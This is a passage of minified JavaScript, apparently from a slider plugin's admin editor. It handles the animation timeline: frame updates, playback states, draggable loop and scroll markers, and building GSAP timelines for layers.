0!==e.frame&&t!==e.frame||"frame_0"===t||RVS.F.updateLayerFrame({layerid:e.layerid,frame:t}))},RVS.F.updateLayerFrame=function(e){if(void 0!==RVS.TL[RVS.S.slideId].layers&&void 0!==RVS.TL[RVS.S.slideId].layers[e.layerid]&&void 0!==RVS.L[e.layerid].timeline.frames[e.frame]){var t=RVS.TL[RVS.S.slideId].layers[e.layerid][e.frame],i=RVS.F.getFirstFrame({layerid:e.layerid}),a=RVS.L[e.layerid].timeline.frames[e.frame].timeline,r=RVS.L[e.layerid].timeline.frames[i].timeline,s=RVS.L[e.layerid].timeline.frames.frame_999.timeline,o=s.auto&&"frame_999"===e.frame&&void 0!==r&&void 0!==r.frameLength,n=null==e.framelength?o?r.frameLength:RVS.F.addT([a.speed,RVS.F.getSplitDelay({layerid:e.layerid,frame:e.frame})]):e.framelength;tpGS.gsap.set(t.frame,{left:a.start/10+"px",width:n/10}),t.info.textContent=n+(o?" (R)":""),a.frameLength=n,"frame_999"===e.frame&&(t.endframemarker=void 0===t.endframemarker||null==t.endframemarker?document.getElementById("slideendmarker_"+RVS.S.slideId+"_"+e.layerid):t.endframemarker,e.maxtime=void 0===e.maxtime?RVS.F.getSlideLength():e.maxtime,null!==t.endframemarker&&(a.start/10>=e.maxtime?(t.endframemarker.classList.add("endswithslide"),s.endWithSlide=!0):(t.endframemarker.classList.remove("endswithslide"),s.endWithSlide=!1))),a.actionTriggered=""!==RVS.F.layerFrameTriggeredBy({layerid:e.layerid,frame:e.frame}).uid&&RVS.F.layerFrameTriggered({layerid:e.layerid,frame:e.frame}),t.framedelay.textContent=a.actionTriggered?"a":!0===a.endWithSlide?RVS_LANG.framewait:a.start,null!=RVS.L[e.layerid].timeline&&(t.sloop.style.display=RVS.L[e.layerid].timeline.tloop.use&&RVS.L[e.layerid].timeline.tloop.from===e.frame?"block":"none",t.eloop.style.display=RVS.L[e.layerid].timeline.tloop.use&&RVS.L[e.layerid].timeline.tloop.to===e.frame?"block":"none"),t.framedelay.className=!0===a.endWithSlide?"coloredbg":a.actionTriggered&&e.frame===i?"coloredbgover":a.actionTriggered?"coloredbg":""}},RVS.F.updateAllLayerToIDLE=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.H[e]&&void 0!==RVS.H[e].timeline&&RVS.H[e].timeline.pause("frame_IDLE")},RVS.F.updateTimeLine=function(t){if(t.force&&void 0!==RVS.TL[RVS.S.slideId]&&void 0===RVS.TL[RVS.S.slideId].main&&RVS.F.buildMainTimeLine(),void 0===RVS.TL[RVS.S.slideId]||void 0===RVS.TL[RVS.S.slideId][t.timeline])return!1;switch("panzoom"===t.timeline&&(RVS.TL[RVS.S.slideId].slide.progress(1),RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(0)),(t.forceFullLayerRender||!0===e&&"main"===t.timeline)&&RVS.F.buildFullLayerAnimation("atstart"),t.state){case"play":if("main"===t.timeline&&(e=!1),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.play(),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.play(),RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.play(),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.play();break;case"stop":case"pause":for(var i in"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.pause(),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.pause(),RVS.L)RVS.L.hasOwnProperty(i)&&void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.pause();RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.pause();break;case"rewind":if("main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.time(0),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.time(0),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.time(0);RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.time(0);break;case"time":if("main"===t.timeline&&(e=0===t.time),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.time(t.time),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.time(t.time),RVS.TL[RVS.S.slideId].panzoom&&(void 0===t.time?RVS.TL[RVS.S.slideId].panzoom.progress(0):RVS.TL[RVS.S.slideId].panzoom.time(t.time)),t.time=0===t.time?"frame_IDLE":t.time,"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.time(t.time);break;case"progress":if("main"===t.timeline&&(e=0===t.prgs),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.progress(t.prgs),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(t.prgs),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.progress(t.prgs);RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.progress(t.prgs);break;case"getprogress":return RVS.TL[RVS.S.slideId][t.timeline].progress();case"getstate":return RVS.TL[RVS.S.slideId][t.timeline].isActive();case"idle":for(var i in RVS.TL.cache={},RVS.TL[RVS.S.slideId].main&&(RVS.TL.cache.main=RVS.TL[RVS.S.slideId].main.time()),RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.progress(0).pause(),RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(0).pause(),RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.progress(1).pause(),RVS.F.changeSwitchState({el:document.getElementById("timline_process"),state:"play"}),RVS.TL.timelineStartedFromPlayStop=!1,RVS.L)RVS.L.hasOwnProperty(i)&&void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.pause("frame_IDLE");e=!0}0!==t.time&&void 0!==t.time||tpGS.gsap.set(jQuery("rs-sbg-wrap.slotwrapper_cur"),{autoAlpha:1}),RVS.TL[RVS.S.slideId].main&&(RVS.TL.cache.main=RVS.TL[RVS.S.slideId].main.time()),RVS.TL.requestedTime=void 0===t.time?void 0!==RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0:t.time,t.updateCurTime&&RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:100*RVS.TL.cache.main,refreshMainTimeLine:!1})},RVS.F.getTimeAtSelectedFrameEnd=function(){var e=0;try{e=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.start/10+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength/10}catch(e){}return e},RVS.F.getTimeAtSelectedFrameMiddle=function(){var e=0;try{e=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.start/10+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength/10/2}catch(e){}return e},RVS.F.getTimeAtSelectedFrameStart=function(e){var t=0;try{t=RVS.L[RVS.selLayers[0]].timeline.frames[e].timeline.start/10}catch(e){}return t},RVS.F.timelineDragsStop=function(){RVS.TL.inDrag=!1,RVS.TL.over||RVS.F.goToIdle()},RVS.F.updateLoopInputs=function(e){e=null==e?{s:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.start,e:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.end}:e,jQuery("#slide_loop_end").val(e.e),jQuery("#slide_loop_start").val(e.s)},RVS.F.updateFixedScrollInputs=function(e){e=null==e?{s:RVS.SLIDER.settings.scrolltimeline.fixedStart,e:RVS.SLIDER.settings.scrolltimeline.fixedEnd}:e,jQuery("#fixed_scroll_end").val(e.e),jQuery("#fixed_scroll_start").val(e.s)},RVS.F.getTimeContents=function(e){var t={};return t.ctm=e.querySelector(".ctm"),t.cts=e.querySelector(".cts"),t.ctms=e.querySelector(".ctms"),t},RVS.F.initTimeLineConstruct=function(){t=jQuery("#time_linear"),tlrcanvas=t.find("#time_linear_canvas"),function(){var e=tlrcanvas[0].getContext("2d"),t=0;RVS.S.isRetina=void 0===RVS.S.isRetina?window.devicePixelRatio>1:RVS.S.isRetina,RVS.S.isIOS=void 0===RVS.S.isIOS?e.webkitBackingStorePixelRatio<2||null==e.webkitBackingStorePixelRatio:RVS.S.isIOS,RVS.S.retinaFactor=void 0===RVS.S.retinaFactor?RVS.S.isRetina&&RVS.S.isIOS?2:1:RVS.S.retinaFactor,e.canvas.width=16380*RVS.S.retinaFactor,e.canvas.height=35*RVS.S.retinaFactor,RVS.S.retinaFactor=parseInt(RVS.S.retinaFactor),e.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),e.strokeStyle="#414244",e.font="12px Arial",e.fillStyle="rgba(183,187,192,0.5)",e.beginPath();for(var i=0;i<1640;i++)t%20==0?(e.moveTo(10*i+1,28),e.lineTo(10*i+1,14)):t%10==0?(e.moveTo(10*i+1,28),e.lineTo(10*i+1,14)):(e.moveTo(10*i+1,28),e.lineTo(10*i+1,24)),t=20==++t?0:t;e.stroke();for(var i=0;i<164;i++)e.fillText(i+"s",100*i+5,20),t=2==++t?0:t}(),RVS.TL.TL=jQuery("#timeline"),RVS.TL.tS=document.getElementById("timeline_settings"),RVS.TL.ft=document.getElementById("frametime"),RVS.TL.ft_txt=RVS.F.getTimeContents(RVS.TL.ft),RVS.TL.mt=jQuery("#maxtime"),RVS.TL.mtfbg=jQuery("#slide_frame_container .frameswrap"),RVS.TL.mt_txt=RVS.F.getTimeContents(RVS.TL.mt[0]),RVS.TL.slts=jQuery("#slidelooptimestart"),RVS.TL.slts_marker=RVS.TL.slts.find(".timebox_marker"),RVS.TL.slts_txt=RVS.F.getTimeContents(RVS.TL.slts[0]),RVS.TL.slte=jQuery("#slidelooptimeend"),RVS.TL.slte_marker=RVS.TL.slte.find(".timebox_marker"),RVS.TL.slte_txt=RVS.F.getTimeContents(RVS.TL.slte[0]),RVS.TL.fixs=jQuery("#fixedscrolltimestart"),RVS.TL.fixs_marker=RVS.TL.fixs.find(".timebox_marker"),RVS.TL.fixs_txt=RVS.F.getTimeContents(RVS.TL.fixs[0]),RVS.TL.fixe=jQuery("#fixedscrolltimeend"),RVS.TL.fixe_marker=RVS.TL.fixe.find(".timebox_marker"),RVS.TL.fixe_txt=RVS.F.getTimeContents(RVS.TL.fixe[0]),RVS.TL.ct=jQuery("#currenttime"),RVS.TL.ct_marker=RVS.TL.ct.find(".timebox_marker"),RVS.TL.ct_txt=RVS.F.getTimeContents(RVS.TL.ct[0]),RVS.TL.ht=jQuery("#hovertime"),RVS.TL.ht_txt=RVS.F.getTimeContents(RVS.TL.ht[0]),RVS.F.updateMaxTime({pos:!0,cont:!0}),t.on("click",function(e){var t=e.pageX-310+RVS.TL._scrollLeft;RVS.F.updateCurTime({pos:!0,cont:!0,left:t,refreshMainTimeLine:!0,caller:"initTimeLineConstruct"})}),RVS.TL.fixs.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.fixe.position().left;t.position.left=t.position.left>=i?i:t.position.left,t.position.left=t.position.left<1?1:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.fixs.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixs.addClass("covered"):RVS.TL.fixs.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,start:Math.max(0,t.position.left),end:i}),RVS.F.updateFixedScrollInputs({e:10*i,s:10*Math.max(0,t.position.left)})},stop:function(e,t){var i=RVS.TL.fixe.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.fixs.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixs.addClass("covered"):RVS.TL.fixs.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,start:t.position.left,end:i}),RVS.F.openBackupGroup({id:"SliderFixedScrollStartTime",txt:"Fixed Scroll Start Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:"settings.scrolltimeline.fixedStart",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SliderFixedScrollStartTime"}),RVS.F.updateFixedScrollInputs()},axis:"x"}),RVS.TL.fixe.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.fixs.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{width:t.position.left-i}),RVS.TL.fixe.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixe.addClass("covered"):RVS.TL.fixe.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,end:t.position.left,start:i}),RVS.F.updateFixedScrollInputs({s:10*i,e:10*t.position.left})},stop:function(e,t){var i=RVS.TL.fixs.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{width:t.position.left-i}),RVS.TL.fixe.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixe.addClass("covered"):RVS.TL.fixe.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,end:t.position.left,start:i}),RVS.F.openBackupGroup({id:"SliderFixedScrollEndTime",txt:"Fixed Scroll End Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:"settings.scrolltimeline.fixedEnd",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SliderFixedScrollEndTime"}),RVS.F.updateFixedScrollInputs()},axis:"x"}),RVS.TL.slts.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.slte.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.slts.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slts.addClass("covered"):RVS.TL.slts.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,start:t.position.left,end:i}),RVS.F.updateLoopInputs({e:10*i,s:10*t.position.left})},stop:function(e,t){var i=RVS.TL.slte.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.slts.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slts.addClass("covered"):RVS.TL.slts.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,start:t.position.left,end:i}),RVS.F.openBackupGroup({id:"SlideLoopStartTime",txt:"Slide Loop Start Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.loop.start",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SlideLoopStartTime"}),RVS.F.updateLoopInputs()},axis:"x"}),RVS.TL.slte.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.slts.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{width:t.position.left-i}),RVS.TL.slte.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slte.addClass("covered"):RVS.TL.slte.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,end:t.position.left,start:i}),RVS.F.updateLoopInputs({s:10*i,e:10*t.position.left})},stop:function(e,t){var i=RVS.TL.slts.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{width:t.position.left-i}),RVS.TL.slte.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slte.addClass("covered"):RVS.TL.slte.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,end:t.position.left,start:i}),RVS.F.openBackupGroup({id:"SlideLoopEndTime",txt:"Slide Loop End Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.loop.end",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SlideLoopEndTime"}),RVS.F.updateLoopInputs()},axis:"x"}),RVS.TL.ct.draggable({start:function(e,t){RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||(RVS.F.buildMainTimeLine(),RVS.TL.ht.addClass("hideme"),RVS.TL.inDrag=!0,RVS.TL[RVS.S.slideId]&&void 0!==RVS.TL[RVS.S.slideId].slide&&RVS._R.transitions.motionFilter.clearFull(RVS.SBGS[RVS.S.slideId].n,RVS.TL[RVS.S.slideId].slide))},stop:function(e,t){RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||(RVS.TL.ct.offset().left-RVS.TL.TL.offset().left<265?RVS.TL.ct.addClass("covered"):RVS.TL.ct.removeClass("covered"),RVS.TL.ht.removeClass("hideme"),RVS.F.timelineDragsStop())},drag:function(e,t){RVS.SBGS[RVS.S.slideId].n.fmExists&&(RVS.SBGS[RVS.S.slideId].n.timeDirection=t.position.left>RVS.SBGS[RVS.S.slideId].n.lastProcess?"forwards":t.position.left<RVS.SBGS[RVS.S.slideId].n.lastProcess?"backwards":RVS.SBGS[RVS.S.slideId].n.timeDirection,RVS.SBGS[RVS.S.slideId].n.lastDirection!==RVS.SBGS[RVS.S.slideId].n.timeDirection&&RVS.TL[RVS.S.slideId]&&void 0!==RVS.TL[RVS.S.slideId].slide&&RVS._R.transitions.motionFilter.clearFull(RVS.SBGS[RVS.S.slideId].n,RVS.TL[RVS.S.slideId].slide),RVS.SBGS[RVS.S.slideId].n.lastProcess=t.position.left,RVS.SBGS[RVS.S.slideId].n.lastDirection=RVS.SBGS[RVS.S.slideId].n.timeDirection),RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||requestAnimationFrame(function(){RVS.F.updateCurTime({pos:!1,cont:!0,left:t.position.left,refreshMainTimeLine:!0,caller:"Timeline DraG"}),RVS.TL.ct.offset().left-RVS.TL.TL.offset().left<265?RVS.TL.ct.addClass("covered"):RVS.TL.ct.removeClass("covered")})},containment:".timeline_right_container",axis:"x"}),RVS.DOC.on("mousemove",".stimeline",function(e,t){RVS.F.updateHoverTime({pos:!0,cont:!0,left:e.pageX-310})}),RVS.DOC.on("mouseenter",".stimeline",function(e,t){RVS.TL.ht.show()}),RVS.DOC.on("mouseenter",".timeline_left_container, .context_left, .timeline_right_container",function(e,t){RVS.TL.ht.hide()}),RVS.DOC.on("mouseenter","#timeline_settings",function(e,t){RVS.DOC.trigger("previewStopLayerAnimation"),!RVS.TL.over&&RVS.TL[RVS.S.slideId].main&&void 0!==RVS.TL.cache&&void 0!==RVS.TL.cache.main&&0!==RVS.TL.cache.main&&RVS.F.goToIdle(),RVS.TL.over=!0}),RVS.DOC.on("mouseleave","#timeline_settings",function(e,t){"animation"!==RVS.eMode.mode&&(RVS.TL.over=!1,RVS.TL.ht.hide(),RVS.TL.inDrag||RVS.F.goToIdle())})},RVS.F.animationMode=function(e){RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})},RVS.F.setSmallestSlideLength=function(e){var t=Math.max(e.left,function(){var e=0;for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&"top"!==t&&"bottom"!==t&&"middle"!==t){var i=RVS.F.getPrevNextFrame({layerid:t,frame:"frame_999"});e=e<i.prev.end?i.prev.end:e}return e}()/10);return e.ignore||RVS.F.updateMaxTime({pos:!0,cont:!0,left:t}),t},RVS.F.goToIdle=function(t){e||(RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.buildMainTimeLine(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!1,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})),e=!0},RVS.F.updateMaxTime=function(e){(e=void 0===e?{pos:!0,cont:!0,left:RVS.F.getSlideLength()}:e).left=void 0===e.left?RVS.F.getSlideLength():e.left,e.pos&&tpGS.gsap.set(RVS.TL.mt,{left:e.left+"px"}),e.cont&&m(e.left,RVS.TL.mt_txt),RVS.F.updateCoveredTimelines()},RVS.F.updateCurTime=function(e){e.pos&&tpGS.gsap.set(RVS.TL.ct,{left:e.left+"px"}),e.cont&&(e.left=isNaN(e.left)?0:e.left,e.left>0?(RVS.TL.ct[0].classList.add("inmove"),m(e.left,RVS.TL.ct_txt)):RVS.TL.ct[0].classList.remove("inmove"),RVS.F.updateCoveredTimelines()),e.refreshMainTimeLine&&(e.left/100<=0?RVS.F.updateTimeLine({force:e.force,state:"idle",timeline:"main",caller:"UpdateCurTime A"}):RVS.F.updateTimeLine({force:e.force,state:"time",time:e.left/100,timeline:"main",freeze:e.freeze}))},RVS.F.updateSlideLoopTimes=function(e){e.pos&&(tpGS.gsap.set(RVS.TL.slts,{left:e.start+"px"}),tpGS.gsap.set(RVS.TL.slte,{left:e.end+"px"}),tpGS.gsap.set(".slidelooptimemarker",{left:e.start,width:e.end-e.start})),e.cont&&(m(e.start,RVS.TL.slts_txt),m(e.end,RVS.TL.slte_txt))},RVS.F.updateFixedScrollTimes=function(e){e.pos&&(tpGS.gsap.set(RVS.TL.fixs,{left:e.start+"px"}),tpGS.gsap.set(RVS.TL.fixe,{left:e.end+"px"}),tpGS.gsap.set(".fixedscrolltimemarker",{left:e.start,width:e.end-e.start})),e.cont&&(m(e.start,RVS.TL.fixs_txt),m(e.end,RVS.TL.fixe_txt))},RVS.F.updateHoverTime=function(e){RVS.TL.hoverTimeLeft=void 0===e.left?RVS.TL.hoverTimeLeft:e.left,RVS.TL.hoverTimeLeft=void 0===RVS.TL.hoverTimeLeft?0:RVS.TL.hoverTimeLeft,RVS.TL._scrollLeft=void 0===RVS.TL._scrollLeft?0:RVS.TL._scrollLeft,e.pos&&tpGS.gsap.set(RVS.TL.ht,{left:e.left+"px"}),e.cont&&m(RVS.TL.hoverTimeLeft+RVS.TL._scrollLeft,RVS.TL.ht_txt)},RVS.F.updateFrameTime=function(e){RVS.TL.frameTimeLeft=void 0===e.left?RVS.TL.frameTimeLeft:e.left,RVS.TL.frameTimeLeft=void 0===RVS.TL.frameTimeLeft?0:RVS.TL.frameTimeLeft,RVS.TL._scrollLeft=void 0===RVS.TL._scrollLeft?0:RVS.TL._scrollLeft,e.pos&&tpGS.gsap.set(RVS.TL.ft,{left:e.left+"px"}),e.cont&&m(RVS.TL.frameTimeLeft,RVS.TL.ft_txt)},RVS.F.getLayerFrames=function(e){var t=void 0===e.extend?{}:e.extend;for(var i in t[e.layerid]={type:RVS.L[e.layerid].type,frames:{}},RVS.L[e.layerid].timeline.frameOrder)if(RVS.L[e.layerid].timeline.frameOrder.hasOwnProperty(i)){var a=RVS.L[e.layerid].timeline.frameOrder[i].id;void 0!==e.afterStart?(RVS.L[e.layerid].timeline.frames[a].timeline.start>e.afterStart&&"frame_999"!==a&&(t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start),"frame_999"===a&&!0===e.include999&&(t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start)):t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start}return t},RVS.F.getLayersEndWithSlide=function(){var e={};for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&"top"!==t&&"bottom"!==t&&"middle"!==t&&(e[t]={type:RVS.L[t].type,endWithSlide:RVS.L[t].timeline.frames.frame_999.timeline.endWithSlide,frames:{frame_999:RVS.L[t].timeline.frames.frame_999.timeline.start}});return e},RVS.F.getSlideLayersEndWithSlide=function(e){if(null==RVS.SLIDER[e])return{};var t={};for(var i in RVS.SLIDER[e].layers)RVS.SLIDER[e].layers.hasOwnProperty(i)&&"top"!==i&&"bottom"!==i&&"middle"!==i&&(t[i]={type:RVS.SLIDER[e].layers[i].type,endWithSlide:RVS.SLIDER[e].layers[i].timeline.frames.frame_999.timeline.endWithSlide,frames:{frame_999:RVS.SLIDER[e].layers[i].timeline.frames.frame_999.timeline.start}});return t},RVS.F.clearLayerAnimation=function(e){RVS.H[e.layerid].timeline.clear()},RVS.F.formatTime=function(e){e*=1e3;var t=parseInt(e%1e3/10),i=parseInt(e/1e3%60),a=parseInt(e/6e4%60);return(a=a<10?"0"+a:a)+":"+(i=i<10?"0"+i:i)+":"+(t=t<10?"0"+t:t)},RVS.F.updateSplitContent=function(e){var t=!1;if(RVS.H[e.layerid].splitText&&RVS.H[e.layerid].splitText.revert(),"text"===RVS.L[e.layerid].type||"button"===RVS.L[e.layerid].type){for(var i in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(i)&&(RVS.L[e.layerid].timeline.frames[i].chars.use||RVS.L[e.layerid].timeline.frames[i].words.use||RVS.L[e.layerid].timeline.frames[i].lines.use)){t=!0;break}RVS.H[e.layerid].splitText=t?new tpGS.SplitText(RVS.H[e.layerid].c,{type:"lines,words,chars",wordsClass:"rs_splitted_words",linesClass:"rs_splitted_lines",charsClass:"rs_splitted_chars"}):void 0}else RVS.H[e.layerid].splitText=void 0;return t},RVS.F.getFrameOrder=function(e){for(var t in RVS.L[e.layerid].timeline.frameOrder=[],RVS.L[e.layerid].timeline.frames)RVS.L[e.layerid].timeline.frames.hasOwnProperty(t)&&RVS.L[e.layerid].timeline.frameOrder.push({id:t,start:"frame_0"===t?-1:RVS.L[e.layerid].timeline.frames[t].timeline.start});RVS.L[e.layerid].timeline.frameOrder.sort(function(e,t){return e.start-t.start}),RVS.L[e.layerid].timeline.frameToIdle=void 0===RVS.L[e.layerid].timeline.frameToIdle?"frame_1":RVS.L[e.layerid].timeline.frameToIdle},RVS.F.renderLayerAnimation=function(t){var i=RVS.H[t.layerid],a=RVS.L[t.layerid],r=600;if(void 0!==RVS.TL[RVS.S.slideId].layers&&void 0!==RVS.TL[RVS.S.slideId].layers[t.layerid]&&void 0!==i&&void 0!==a.timeline&&void 0!==a.timeline.frames){i.timeline&&i.timeline.pause("frame_IDLE"),i.timeline=new tpGS.TimelineMax({paused:!0});var s=("text"===a.type||"button"===a.type)&&RVS.F.updateSplitContent({layerid:t.layerid});a.timeline.split=s,RVS.F.getFrameOrder({layerid:t.layerid});var o=RVS.F.getFirstFrame({layerid:t.layerid});for(var n in a.timeline.frameOrder)if(a.timeline.frameOrder.hasOwnProperty(n)){var l=a.timeline.frameOrder[n].id;if("frame_0"!==l){var S=void 0===t.frameObj||t.frame!==l?a.timeline.frames[l]:t.frameObj;a.timeline.sessionFilterUsed=RVS.F.checkGlobalFiltersOnLayer(t.layerid),"frame_999"===l&&a.timeline.frames.frame_999.timeline.auto&&((S=jQuery.extend(!0,{},a.timeline.frames.frame_999)).transform=jQuery.extend(!0,{},a.timeline.frames.frame_0.transform),S.mask=jQuery.extend(!0,{},a.timeline.frames.frame_0.mask),S.words=jQuery.extend(!0,{},a.timeline.frames.frame_0.words),S.lines=jQuery.extend(!0,{},a.timeline.frames.frame_0.lines),S.chars=jQuery.extend(!0,{},a.timeline.frames.frame_0.chars),S.sfx=jQuery.extend(!0,{},a.timeline.frames.frame_0.sfx),S.filter=jQuery.extend(!0,{},a.timeline.frames.frame_0.filter),S.bfilter=jQuery.extend(!0,{},a.timeline.frames.frame_0.bfilter),S.color=jQuery.extend(!0,{},a.timeline.frames.frame_0.color),S.bgcolor=jQuery.extend(!0,{},a.timeline.frames.frame_0.bgcolor));var m=l===o?a.timeline.frames.frame_0:void 0,f=RVS.TL[RVS.S.slideId].layers[t.layerid][l],g=i.c,h=V(S.sfx.effect,i.m,S.timeline.ease),v=new tpGS.TimelineMax,_=S.timeline.speed/1e3,L=0;f.timeline=new tpGS.TimelineMax,"block"===h.type&&(h.ft[0].background=window.RSColor.get(S.sfx.color),f.timeline.add(tpGS.gsap.fromTo(h.bmask_in,_/2,h.ft[0],h.ft[1],0)),f.timeline.add(tpGS.gsap.fromTo(h.bmask_in,_/2,h.ft[1],h.t,_/2)),"frame_0"===l||"frame_1"===l?f.timeline.add(v.staggerFromTo(g,.05,{autoAlpha:0},{autoAlpha:1,delay:_/2},0),0):"frame_999"===l&&f.timeline.add(v.staggerFromTo(g,.05,{autoAlpha:1},{autoAlpha:0,delay:_/2},0),0));var w,b=y({sessionFilterUsed:a.timeline.sessionFilterUsed,frame:S,layerid:t.layerid,ease:S.timeline.ease,splitAmount:g.length,target:l}),I=l===o?y({sessionFilterUsed:a.timeline.sessionFilterUsed,frame:m,layerid:t.layerid,ease:S.timeline.ease,splitAmount:g.length,target:"frame_0"}):void 0,F="true"==S.mask.use||1==S.mask.use?y({frame:{transform:{x:S.mask.x,y:S.mask.y,clip:S.mask.clip}},layerid:t.layerid,ease:b.ease,target:"mask"}):void 0,D=l===o?y({frame:{transform:{x:m.mask.x,y:m.mask.y,clip:m.mask.clip}},layerid:t.layerid,ease:b.ease,target:"frommask"}):void 0,x=b.ease;if(void 0!==S.color&&S.color.use?b.color=window.RSColor.get(S.color.color):b.color=window.RSColor.get(a.idle.color[RVS.screen].v),void 0!==m&&(void 